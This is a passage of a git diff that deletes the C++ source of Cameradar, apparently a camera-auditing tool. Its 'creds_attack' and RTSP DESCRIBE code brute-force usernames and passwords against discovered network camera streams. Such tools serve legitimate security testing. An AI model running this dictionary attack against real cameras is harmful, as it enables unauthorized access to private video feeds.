"path" -// If the file is available we return the whole content as -// an std::string inside a pair -// otherwise return false and an empty string inside a pair -std::pair -read_file(const std::string& path) { - auto line = std::string{}; - auto content = std::string{}; - auto file = std::ifstream{ path }; - - if (file.is_open()) { - while (getline(file, line)) { content += line + "\n"; } - file.close(); - } else { - return std::make_pair(false, std::string{}); - } - - return std::make_pair(true, content); -} - -// Loads the IDS dictionary -bool -configuration::load_ids() { - std::string content; - - LOG_DEBUG_("Trying to open ids file from " + this->rtsp_ids_file, "configuration"); - if (this->rtsp_ids_file.size()) { - content = read_file(this->rtsp_ids_file.c_str()).second; - } else { - LOG_WARN_( - "No ids file detected in your configuration, Cameradar will use " - "the default one " - "instead.", - "configuration"); - content = read_file(default_rtsp_ids_file).second; - } - if (content.size()) { - auto root = Json::Value(); - auto reader = Json::Reader(); - reader.parse(content, root); - - for (unsigned int i = 0; i < root["username"].size(); i++) { - if (not root["username"][i].isString()) { - LOG_ERR_("\"username\" should be of type string", "configuration"); - return false; - } - this->usernames.push_back(root["username"][i].asString()); - } - for (unsigned int i = 0; i < root["password"].size(); i++) { - if (not root["password"][i].isString()) { - LOG_ERR_("\"password\" should be of type string", "configuration"); - return false; - } - this->passwords.push_back(root["password"][i].asString()); - } - return true; - } else { - LOG_ERR_( - "Could not load ids file. Make sure you provided a valid path in your " - "configuration file.", - "configuration"); - return false; - } -} - -// Loads the URL dictionary -bool -configuration::load_url() { - std::string content; - - LOG_DEBUG_("Trying to open url file from " + this->rtsp_url_file, "configuration"); - if (this->rtsp_url_file.size()) { - content = read_file(this->rtsp_url_file.c_str()).second; - } else { - LOG_WARN_( - "No url file detected in your configuration, Cameradar will use " - "the default one " - "instead.", - "configuration"); - content = read_file(default_rtsp_url_file).second; - } - if (content.size()) { - auto root = Json::Value(); - auto reader = Json::Reader(); - reader.parse(content, root); - - for (unsigned int i = 0; i < root["urls"].size(); i++) { - if (not root["urls"][i].isString()) { - LOG_ERR_("\"urls\" should be of type string", "configuration"); - return false; - } - this->paths.push_back(root["urls"][i].asString()); - } - - return true; - } else { - LOG_ERR_( - "Could not load ids file. Make sure you provided a valid path in your " - "configuration file.", - "configuration"); - return false; - } -} - -std::pair -serialize(const Json::Value& root) { - std::pair ret; - - try { - if (!root["ports"].isNull()) - ret.second.ports = root["ports"].asString(); - else - ret.second.ports = default_ports; - - if (!root["target"].isNull()) - ret.second.target = root["target"].asString(); - else - ret.second.target = default_target; - - if (!root["rtsp_ids_file"].isNull()) - ret.second.rtsp_ids_file = root["rtsp_ids_file"].asString(); - else - ret.second.rtsp_ids_file = default_rtsp_ids_file; - - if (!root["rtsp_url_file"].isNull()) - ret.second.rtsp_url_file = root["rtsp_url_file"].asString(); - else - ret.second.rtsp_url_file = default_rtsp_url_file; - - if (!root["thumbnail_storage_path"].isNull()) - ret.second.thumbnail_storage_path = root["thumbnail_storage_path"].asString(); - else - ret.second.thumbnail_storage_path = default_thumbnail_storage_path; - - if (!root["cache_manager_path"].isNull()) - ret.second.cache_manager_path = root["cache_manager_path"].asString(); - else - ret.second.cache_manager_path = default_cache_manager_path; - - if (!root["cache_manager_name"].isNull()) - ret.second.cache_manager_name = root["cache_manager_name"].asString(); - else - ret.second.cache_manager_name = default_cache_manager_name; - - ret.first = true; - } catch (const std::exception& e) { - LOG_ERR_("Configuration failed : " + std::string(e.what()), "configuration"); - ret.first = false; - } - - return ret; -} - -Json::Value -configuration::get_raw() const { - return this->raw_conf; -} - -// Loads the configuration from a path -// Returns a pair containing a boolean value & the configuration. -// Will return true & valid configuration if success -// Otherwise false & empty configuration -std::pair -load(const std::pair& args) { - std::string path; - - if (not args.second.exist("-c")) { - path = etix::cameradar::default_configuration_path; - LOG_WARN_("No custom path set, trying to use default path: " + path, "main"); - } else { - path = args.second["-c"]; - } - - // Check if the file exists at the given path - if (access(path.c_str(), F_OK) == -1) { - LOG_ERR_("Can't access: " + path, "configuration"); - return std::make_pair(false, configuration{}); - } - - // Get the content of the file - auto content = read_file(path); - if (not content.first) { - LOG_ERR_( - "Can't open configuration file, you should check your rights to " - "access the file", - "configuration"); - return std::make_pair(false, configuration{}); - } - - // Parse & validate the json - auto root = Json::Value(); - - auto reader = Json::Reader(); - auto parse_succes = reader.parse(content.second, root); - if (not parse_succes) { - LOG_ERR_("Can't load configuration, invalid json format:\n" + - reader.getFormattedErrorMessages(), - "configuration"); - return std::make_pair(false, configuration{}); - } - // Deserialize the json to a configuration struct - // and return - std::pair conf = serialize(root); - conf.second.raw_conf = root; - conf.first &= conf.second.load_url(); - conf.first &= conf.second.load_ids(); - - if (args.second.exist("-s")) conf.second.target = args.second["-s"]; - if (args.second.exist("-p")) conf.second.target = args.second["-p"]; - - return conf; -} -} -} diff --git a/cameradar_standalone/src/describe.cpp b/cameradar_standalone/src/describe.cpp deleted file mode 100644 index 9f2005f..0000000 --- a/cameradar_standalone/src/describe.cpp +++ /dev/null @@ -1,104 +0,0 @@ -// Copyright 2016 Etix Labs -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -#include -#include - -namespace etix { -namespace cameradar { - -std::mutex m; - -// Ugly workaround -size_t -write_data(void* buffer, size_t size, size_t nmemb, void* userp) { - // I'm sorry for this - // Forget you ever saw it - (void)userp; - if (not buffer || not size || not nmemb) return 0; - - return size * nmemb; -} - -// Sends a request to the camera using the OPTION method, -// then a DESCRIBE to check for valid IDs -// then another DESCIBE with IDs if an authentication is needed -bool -curl_describe(const std::string& path, bool logs) { - CURL* csession; - CURLcode res; - struct curl_slist* custom_msg = NULL; - char URL[256]; - long rc; - m.lock(); - curl_global_init(0); - m.unlock(); - csession = curl_easy_init(); - if (csession == NULL) return -1; - sprintf(URL, "%s", path.c_str()); - // These are the options for all following cURL requests - // Activate verbose if debug is needed - curl_easy_setopt(csession, CURLOPT_NOSIGNAL, 1); - curl_easy_setopt(csession, CURLOPT_TIMEOUT, 1); - curl_easy_setopt(csession, CURLOPT_NOBODY, 1); - curl_easy_setopt(csession, CURLOPT_URL, URL); - curl_easy_setopt(csession, CURLOPT_RTSP_STREAM_URI, URL); - curl_easy_setopt(csession, CURLOPT_FOLLOWLOCATION, 0); - curl_easy_setopt(csession, CURLOPT_HEADER, 0); - curl_easy_setopt(csession, CURLOPT_VERBOSE, 0); - curl_easy_setopt(csession, CURLOPT_RTSP_REQUEST, CURL_RTSPREQ_OPTIONS); - curl_easy_setopt(csession, CURLOPT_WRITEFUNCTION, write_data); - // This request will handshake the stream's server, it should always return 200 OK - curl_easy_perform(csession); - curl_easy_getinfo(csession, CURLINFO_RESPONSE_CODE, &rc); - custom_msg = curl_slist_append( - custom_msg, "Accept: application/x-rtsp-mh, application/rtsl, application/sdp"); - curl_easy_setopt(csession, CURLOPT_RTSPHEADER, custom_msg); - curl_easy_setopt(csession, CURLOPT_RTSP_REQUEST, CURL_RTSPREQ_DESCRIBE); - // This request will check if the given path is right without the need of encrypted ids - unsigned long pos = path.find("@"); - if (pos != std::string::npos) { - std::string encoded = etix::tool::encode::encode64(path.substr(7, pos - 7)); - custom_msg = - curl_slist_append(custom_msg, std::string("Authorization: Basic " + encoded).c_str()); - curl_easy_setopt(csession, CURLOPT_RTSPHEADER, custom_msg); - curl_easy_setopt(csession, CURLOPT_RTSP_REQUEST, CURL_RTSPREQ_DESCRIBE); - // curl_easy_setopt(csession, CURLOPT_WRITEDATA, protofile); - // This request will check if the given ids are good - curl_easy_perform(csession); // will return 404 if good ids, 401 if bad ids - res = curl_easy_getinfo(csession, CURLINFO_RESPONSE_CODE, &rc); - } else { - curl_easy_perform( - csession); // will return 404 if no ids and bad route, 401 if ids, 200 is all ok - res = curl_easy_getinfo(csession, CURLINFO_RESPONSE_CODE, &rc); - } - - curl_easy_cleanup(csession); - - m.lock(); - curl_global_cleanup(); - m.unlock(); - LOG_DEBUG_("[" + path + "] Response code : " + std::to_string(rc), "describe"); - if (logs) { - // Some cameras return 400 instead of 401, don't know why. - // Some cameras timeout and then curl considers the status as 0 - // GST-RTSP-SERVER returns 404 instead of 401, then 401 instead of 404. - if (rc != 401 && rc != 400 && rc && pos == std::string::npos) - LOG_INFO_("Unprotected camera discovered.", "creds_attack"); - return ((res == CURLE_OK) && rc != 401 && rc != 400 && rc); - } - return ((res == CURLE_OK) && rc != 404 && rc != 400 && rc); -} -} -} diff --git a/cameradar_standalone/src/dispatcher.cpp b/cameradar_standalone/src/dispatcher.cpp deleted file mode 100644 index b6c315c..0000000 --- a/cameradar_standalone/src/dispatcher.cpp +++ /dev/null @@ -1,108 +0,0 @@ -// Copyright 2016 Etix Labs -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -#include "dispatcher.h" - -namespace etix { -namespace cameradar { - -using namespace std::chrono_literals; - -// The main loop of the binary -void -dispatcher::run() { - if (not(*cache)->configure(std::make_shared(conf))) { - LOG_ERR_( - "There was a problem with the cache manager, Cameradar can't work properly without " - "cache management", - "dispatcher"); - return; - } - std::thread worker(&dispatcher::do_stuff, this); - using namespace std::chrono_literals; - - // Catch CTRL+C signal - signal_handler::instance(); - - // Wait for event or end - while (signal_handler::instance().should_stop() not_eq stop_priority::stop && - current != task::finished) { - std::this_thread::sleep_for(30ms); - } - - if (doing_stuff()) { - LOG_INFO_("Waiting for a task to terminate", "dispatcher"); - LOG_INFO_("Press CTRL+C again to force stop", "dispatcher"); - } - - // Waiting for task to cleanup / force stop command - while ((signal_handler::instance().should_stop() not_eq stop_priority::force_stop) and - doing_stuff()) { - std::this_thread::sleep_for(30ms); - } - worker.join(); -} - -// This loop is used to add all the tasks specified in the command line -// And then run them successively -void -dispatcher::do_stuff() { - if (opts.second.exist("-d")) { - queue.push_back(new etix::cameradar::mapping(cache, conf, nmap_output)); - queue.push_back(new etix::cameradar::parsing(cache, conf, nmap_output)); - } - if (opts.second.exist("-b")) { - if (opts.second.exist("--gst-rtsp-server")) { - queue.push_back(new etix::cameradar::path_attack(cache, conf, nmap_output)); - queue.push_back(new etix::cameradar::creds_attack(cache, conf, nmap_output)); - } else { - queue.push_back(new etix::cameradar::creds_attack(cache, conf, nmap_output)); - queue.push_back(new etix::cameradar::path_attack(cache, conf, nmap_output)); - } - } - if (opts.second.exist("-t")) { - queue.push_back(new etix::cameradar::thumbnail(cache, conf, nmap_output)); - } - if (opts.second.exist("-g")) { - queue.push_back(new etix::cameradar::stream_check(cache, conf, nmap_output)); - } - if (!opts.second.exist("-d") && !opts.second.exist("-b") && !opts.second.exist("-t") && - !opts.second.exist("-g")) { - queue.push_back(new etix::cameradar::mapping(cache, conf, nmap_output)); - queue.push_back(new etix::cameradar::parsing(cache, conf, nmap_output)); - if (opts.second.exist("--gst-rtsp-server")) { - queue.push_back(new etix::cameradar::path_attack(cache, conf, nmap_output)); - queue.push_back(new etix::cameradar::creds_attack(cache, conf, nmap_output)); - } else { - queue.push_back(new etix::cameradar::creds_attack(cache, conf, nmap_output)); - queue.push_back(new etix::cameradar::path_attack(cache, conf, nmap_output)); - } - queue.push_back(new etix::cameradar::thumbnail(cache, conf, nmap_output)); - queue.push_back(new etix::cameradar::stream_check(cache, conf, nmap_output)); - } - queue.push_back(new etix::cameradar::print(cache, conf, nmap_output)); - while (queue.size() > 0 && signal_handler::instance().should_stop() == stop_priority::running) { - if (queue.front()->run()) - queue.pop_front(); - else { - LOG_ERR_("An error occured in one of the tasks, Cameradar will now stop.", - "dispatcher"); - break; - } - std::this_thread::sleep_for(30ms); - } - this->current = task::finished; -} -} -} diff --git a/cameradar_standalone/src/encode.cpp b/cameradar_standalone/src/encode.cpp deleted file mode 100644 index 48e49d9..0000000 --- a/cameradar_standalone/src/encode.cpp +++ /dev/null @@ -1,79 +0,0 @@ -// Copyright 2016 Etix Labs -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -#include "encode.h" -#include - -namespace etix { - -namespace tool { - -namespace encode { - -std::string -encode64(const std::string& str_to_encode) { - return base64_encode(reinterpret_cast(str_to_encode.c_str()), - str_to_encode.length()); -} - -static const std::string base64_chars = - "ABCDEFGHIJKLMNOPQRSTUVWXYZ" - "abcdefghijklmnopqrstuvwxyz" - "0123456789+/"; - -static inline bool -is_base64(unsigned char c) { - return (isalnum(c) || (c == '+') || (c == '/')); -} - -/* from external source */ -std::string -base64_encode(unsigned char const* bytes_to_encode, unsigned int in_len) { - std::string ret; - int i = 0; - unsigned char char_array_3[3]; - unsigned char char_array_4[4]; - - while (in_len--) { - char_array_3[i++] = *(bytes_to_encode++); - if (i == 3) { - char_array_4[0] = (char_array_3[0] & 0xfc) >> 2; - char_array_4[1] = ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4); - char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6); - char_array_4[3] = char_array_3[2] & 0x3f; - - for (i = 0; (i < 4); i++) ret += base64_chars[char_array_4[i]]; - i = 0; - } - } - - int j = 0; - if (i) { - for (int j = i; j < 3; j++) char_array_3[j] = '\0'; - - char_array_4[0] = (char_array_3[0] & 0xfc) >> 2; - char_array_4[1] = ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4); - char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6); - char_array_4[3] = char_array_3[2] & 0x3f; - - for (j = 0; (j < i + 1); j++) ret += base64_chars[char_array_4[j]]; - - while ((i++ < 3)) ret += '='; - } - - return ret; -} -} -} -} diff --git a/cameradar_standalone/src/launch_command.cpp b/cameradar_standalone/src/launch_command.cpp deleted file mode 100644 index f2c3e7f..0000000 --- a/cameradar_standalone/src/launch_command.cpp +++ /dev/null @@ -1,39 +0,0 @@ -// Copyright 2016 Etix Labs -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -#include - -namespace etix { -namespace cameradar { - -// Launches a command and checks for the return value -bool -launch_command(const std::string& cmd) { - int status = system(cmd.c_str()); - if (status < 0) { - LOG_ERR_("Error: " + std::string(strerror(errno)) + "", "dispatcher"); - return false; - } else { - if (WIFEXITED(status)) { - LOG_DEBUG_("Program returned normally, exit code " + - std::to_string(WEXITSTATUS(status)), - "dispatcher"); - return true; - } else - LOG_WARN_("Program exited abnormaly.", "dispatcher"); - } - return false; -} -} -} diff --git a/cameradar_standalone/src/main.cpp b/cameradar_standalone/src/main.cpp deleted file mode 100644 index bdde7e8..0000000 --- a/cameradar_standalone/src/main.cpp +++ /dev/null @@ -1,135 +0,0 @@ -// Copyright 2016 Etix Labs -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -#include "version.h" // versionning -#include // program loop -#include // iostream -#include // parsing opt - -void -print_version() { - std::cout << "Cameradar version " << CAMERADAR_VERSION << std::endl; - std::cout << "Build " << CAMERADAR_VERSION_BUILD << std::endl; -} - -// Command line parsing -std::pair -parse_cmdline(int argc, char* argv[]) { - auto opt_parse = etix::tool::opt_parse{ argc, argv }; - - opt_parse.optional("-s", "Set target (e.g.: `172.16.0.0/24`)", true); - opt_parse.optional("-p", "Set ports (e.g.: `554,8554`)", true); - opt_parse.optional("-c", "Path to the configuration file (-c /path/to/conf)", true); - opt_parse.optional("-l", "Set log level (-l 4 will only show warnings and errors)", true); - opt_parse.optional("-d", "Launch the discovery tool on the given target", false); - opt_parse.optional("-b", "Launch the dictionary attack tool on all discovered devices", false); - opt_parse.optional("-t", "Generate thumbnails from detected cameras", false); - opt_parse.optional("-g", "Check if the stream can be opened with GStreamer", false); - opt_parse.optional("-v", "Display Cameradar's version", false); - opt_parse.optional("-h", "Display this help", false); - opt_parse.optional( - "--gst-rtsp-server", - "Change the order of the attack to match GST RTSP Server's implementation of " - "RTSP. Some cameras and RTSP servers will use this standard instead of the more " - "standard one. For more information, see the README.md file.", - false); - opt_parse.execute(); - - if (opt_parse.exist("-h")) { - opt_parse.print_help(); - return std::make_pair(false, opt_parse); - } else if (opt_parse.exist("-v")) { - print_version(); - return std::make_pair(false, opt_parse); - } else if (opt_parse.has_error()) { - std::cout << "Usage: ./cameradar [option]\n\toptions:\n" << std::endl; - opt_parse.print_help(); - return std::make_pair(false, opt_parse); - } - - return std::make_pair(true, opt_parse); -} - -// Check if a folder exists, is readable and writable -bool -check_folder(const std::string& path) { - struct stat sb; - - if ((stat(path.c_str(), &sb) == 0) && (S_ISDIR(sb.st_mode)) && (sb.st_mode & S_IRUSR) && - (sb.st_mode & S_IWUSR)) { - LOG_INFO_("Folder " + path + " is available and has sufficient rights", "main"); - return true; - } - LOG_ERR_("Folder " + path + " has insufficient rights, please check your configuration", - "main"); - return false; -} - -// Check if the storage path is available -bool -check_storage_path(const std::string& thumbnail_storage_path) { - LOG_INFO_("Checking if storage path exists and are usable", "main"); - return (check_folder(thumbnail_storage_path)); -} - -int -main(int argc, char* argv[]) { - etix::tool::logger::get_instance("cameradar").set_level(etix::tool::loglevel::DEBUG); - auto args = parse_cmdline(argc, argv); - if (not args.first) return EXIT_FAILURE; - - print_version(); - - if (not args.second.exist("-l")) { - LOG_INFO_("No log level set, using log level 1", "main"); - } else { - try { - int level = std::stoi(args.second["-l"]); - etix::tool::logger::get_instance("cameradar") - .set_level(static_cast(level)); - } catch (...) { - LOG_ERR_("Invalid log level format, log level should be 1, 2, 4, 5 or 6", "main"); - return EXIT_FAILURE; - } - } - - // Try to load the configuration - auto conf = etix::cameradar::load(args); - if (not conf.first) { return EXIT_FAILURE; } - - LOG_INFO_("Configuration successfully loaded", "main"); - - // If one of the path is invalid, exit - auto paths_ok = check_storage_path(conf.second.thumbnail_storage_path); - if (not paths_ok) { return EXIT_FAILURE; } - - // Here we should get the cache manager but for now we will juste - // make a dumb cache manager - auto plug = std::make_shared(conf.second.cache_manager_path, - conf.second.cache_manager_name); - - if (not plug || not plug->make_instance()) { - LOG_ERR_(std::string("Invalid cache manager "), "cameradar"); - return false; - } - - LOG_INFO_("Launching Cameradar, press CTRL+C to gracefully stop", "main"); - - etix::cameradar::dispatcher disp(conf.second, plug, args); - - disp.run(); - - LOG_WARN_("See ya !", "cameradar"); - return EXIT_SUCCESS; -} diff --git a/cameradar_standalone/src/opt_parse.cpp b/cameradar_standalone/src/opt_parse.cpp deleted file mode 100644 index 8e3abf8..0000000 --- a/cameradar_standalone/src/opt_parse.cpp +++ /dev/null @@ -1,131 +0,0 @@ -// Copyright 2016 Etix Labs -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -#include "opt_parse.h" -#include - -namespace etix { - -namespace tool { - -opt_parse::opt_parse(int argc, char* argv[]) : argc(argc), argv(argv) {} - -opt_parse::~opt_parse() {} - -void -opt_parse::required(const std::string& name, const std::string& desc, bool need_arg) { - this->params.emplace(name, opt_param(true, need_arg, name, desc)); -} - -void -opt_parse::optional(const std::string& name, const std::string& desc, bool need_arg) { - this->params.emplace(name, opt_param(false, need_arg, name, desc)); -} - -bool -opt_parse::execute() { - int i = 1; - - // if params are invalid - if (this->argc < 1 || not this->argv) { return false; } - - while (i != this->argc) { - // there is less argument than argc - if (not this->argv[i]) { return false; } - auto params = this->params.find(std::string(this->argv[i])); - if (params != this->params.end()) { - this->params_cnt += 1; - (*params).second.is_passed = true; - if ((*params).second.need_arg == true && (i + 1) != this->argc) { - (*params).second.argument = this->argv[i + 1]; - i += 1; - } - } - i += 1; - } - return true; -} - -opt_parse::iterator -opt_parse::begin() const { - std::vector> p; - - for (auto entry : this->params) { - p.push_back(std::make_pair(entry.second.name, entry.second.argument)); - } - return iterator(p, 0); -} - -opt_parse::iterator -opt_parse::end() const { - return iterator(std::vector>(), this->params_cnt); -} - -void -opt_parse::print_usage() const { - std::cout << "Usage: " << this->argv[0]; - - for (auto entry : this->params) { - if (entry.second.required == true) { - if (entry.second.need_arg == true) { std::cout << " "; } - } - } - std::cout << std::endl; -} - -void -opt_parse::print_help() const { - std::cout << "help: " << this->argv[0] << std::endl; - - for (auto entry : this->params) { - std::cout << entry.second.name << " " << entry.second.desc << std::endl; - } -} - -bool -opt_parse::has_error() const { - for (auto entry : this->params) { - // is the parameter required ? - // the parameter need arguement ? - if ((entry.second.required == true && entry.second.is_passed == false) || - (entry.second.is_passed == true && entry.second.need_arg == true && - entry.second.argument == "")) { - return true; - } - } - - return false; -} - -bool -opt_parse::exist(const std::string& opt) const { - auto params = this->params.find(opt); - - if (params == this->params.end()) { return false; } - - return (*params).second.is_passed; -} - -std::string opt_parse::operator[](const std::string& opt) const { - std::string param(""); - - auto opt_param = this->params.find(opt); - if (opt_param != this->params.end()) { param = (*opt_param).second.argument; } - - return param; -} - -} // tool - -} // etix diff --git a/cameradar_standalone/src/rtsp_path.cpp b/cameradar_standalone/src/rtsp_path.cpp deleted file mode 100644 index 6357e8a..0000000 --- a/cameradar_standalone/src/rtsp_path.cpp +++ /dev/null @@ -1,37 +0,0 @@ -// Copyright 2016 Etix Labs -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -#include -#include - -namespace etix { - -namespace cameradar { - -const std::string -make_path(const stream_model& model) { - if (model.password != "" || model.username != "") { - std::string ret(model.service_name + "://" + model.username + ":" + model.password + "@" + - model.address + ":" + std::to_string(model.port) + model.route); - LOG_DEBUG_(ret, "debug"); - return ret; - } else { - std::string ret(model.service_name + "://" + model.address + ":" + - std::to_string(model.port) + model.route); - LOG_DEBUG_(ret, "debug"); - return ret; - } -} -} -} diff --git a/cameradar_standalone/src/signal_handler.cpp b/cameradar_standalone/src/signal_handler.cpp deleted file mode 100644 index f773248..0000000 --- a/cameradar_standalone/src/signal_handler.cpp +++ /dev/null @@ -1,47 +0,0 @@ -// Copyright 2016 Etix Labs -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -#include - -namespace etix { -namespace cameradar { - -event_handler signal_handler::handler; - -signal_handler::signal_handler() {} - -void -signal_handler::call_handler(int signum) { - handler.handle_signal(signum); -} - -signal_handler& -signal_handler::instance(void) { - static signal_handler singleton; - - struct sigaction sa; - sa.sa_handler = call_handler; - sigemptyset(&sa.sa_mask); - sa.sa_flags = 0; - sigaction(SIGINT, &sa, 0); - - return singleton; -} - -etix::cameradar::stop_priority -signal_handler::should_stop(void) const { - return handler.should_stop(); -} -} -} diff --git a/cameradar_standalone/src/stream_model.cpp b/cameradar_standalone/src/stream_model.cpp deleted file mode 100644 index 63b2f66..0000000 --- a/cameradar_standalone/src/stream_model.cpp +++ /dev/null @@ -1,39 +0,0 @@ -// Copyright 2016 Etix Labs -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -#include - -namespace etix { -namespace cameradar { - -Json::Value -deserialize(const stream_model& model) { - Json::Value ret; - - ret["address"] = model.address; - ret["port"] = model.port; - ret["username"] = model.username; - ret["password"] = model.password; - ret["route"] = model.route; - ret["service_name"] = model.service_name; - ret["product"] = model.product; - ret["protocol"] = model.protocol; - ret["state"] = model.state; - ret["path_found"] = model.path_found; - ret["ids_found"] = model.ids_found; - ret["thumbnail_path"] = model.thumbnail_path; - return ret; -} -} -} diff --git a/cameradar_standalone/src/tasks/creds_attack.cpp b/cameradar_standalone/src/tasks/creds_attack.cpp deleted file mode 100644 index f712ff3..0000000 --- a/cameradar_standalone/src/tasks/creds_attack.cpp +++ /dev/null @@ -1,129 +0,0 @@ -// Copyright 2016 Etix Labs -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -#include -#include - -namespace etix { -namespace cameradar { - -static const std::string no_ids_warning_ = - "The ids.json files' default paths didn't match with the discovered " - "cameras. Either " - "they have custom ids, or your ids.json file does not contain enough " - "default routes. " - "Path dictionary attack is impossible without the credentials."; - -// Tries to match the detected combination of Username / Password -// with the camera stream. Creates a resource in the DB upon -// valid discovery -bool -creds_attack::test_ids(const etix::cameradar::stream_model& stream, - const std::string& password, - const std::string& username) const { - bool found = false; - std::string path = stream.service_name + "://"; - if (username != "" || password != "") { path += username + ":" + password + "@"; } - path += stream.address + ":" + std::to_string(stream.port) + stream.route; - LOG_INFO_("Testing ids : " + path, "creds_attack"); - try { - if (curl_describe(path, true)) { - LOG_INFO_("[FOUND IDS] : " + path, "creds_attack"); - found = true; - stream_model newstream{ - stream.address, stream.port, username, password, - stream.route, stream.service_name, stream.product, stream.protocol, - stream.state, stream.path_found, true, stream.thumbnail_path - }; - if ((*cache)->has_changed(stream)) return true; - (*cache)->update_stream(newstream); - } else { - stream_model newstream{ stream.address, stream.port, username, - password, stream.route, stream.service_name, - stream.product, stream.protocol, stream.state, - stream.path_found, false, stream.thumbnail_path }; - if ((*cache)->has_changed(stream)) return true; - (*cache)->update_stream(newstream); - } - } catch (const std::runtime_error& e) { - LOG_DEBUG_("Ids already tested : " + std::string(e.what()), "creds_attack"); - } - return found; -} - -bool -ids_already_found(std::vector streams, stream_model stream) { - for (const auto& it : streams) { - if ((stream.address == it.address) && (stream.port == it.port) && it.ids_found) return true; - } - return false; -} - -bool -creds_attack::attack_camera_creds(const stream_model& stream) const { - for (const auto& username : conf.usernames) { - if (signal_handler::instance().should_stop() != etix::cameradar::stop_priority::running) - break; - for (const auto& password : conf.passwords) { - if (signal_handler::instance().should_stop() != etix::cameradar::stop_priority::running) - break; - if ((*cache)->has_changed(stream)) return true; - if (test_ids(stream, password, username)) return true; - } - } - return false; -} - -// Tries to discover the right IDs on all RTSP streams in DB -// Uses the ids.json file to try different combinations -bool -creds_attack::run() const { - std::vector> futures; - - LOG_INFO_( - "Beginning attack of the credentials , it may " - "take a while.", - "creds_attack"); - std::vector streams = (*cache)->get_streams(); - LOG_DEBUG_("Found " + std::to_string(streams.size()) + " streams in the cache", "creds_attack"); - size_t found = 0; - for (const auto& stream : streams) { - if (signal_handler::instance().should_stop() != etix::cameradar::stop_priority::running) - break; - if ((found < streams.size()) && ids_already_found(streams, stream)) { - LOG_INFO_(stream.address + - " : This camera's ids were already discovered in " - "the database. Skipping to " - "the next camera.", - "creds_attack"); - ++found; - } else { - futures.push_back( - std::async(std::launch::async, &creds_attack::attack_camera_creds, this, stream)); - } - } - for (auto& fit : futures) { - if (fit.get()) { ++found; } - } - if (!found) { - LOG_WARN_(no_ids_warning_, "creds_attack"); - return false; - } else - LOG_INFO_("Found " + std::to_string(found) + " ids for " + std::to_string(streams.size()) + - " cameras", - "creds_attack"); - return true; -} -} -} diff --git a/cameradar_standalone/src/tasks/mapping.cpp b/cameradar_standalone/src/tasks/mapping.cpp deleted file mode 100644 index ff96f24..0000000 --- a/cameradar_standalone/src/tasks/mapping.cpp +++ /dev/null @@ -1,60 +0,0 @@ 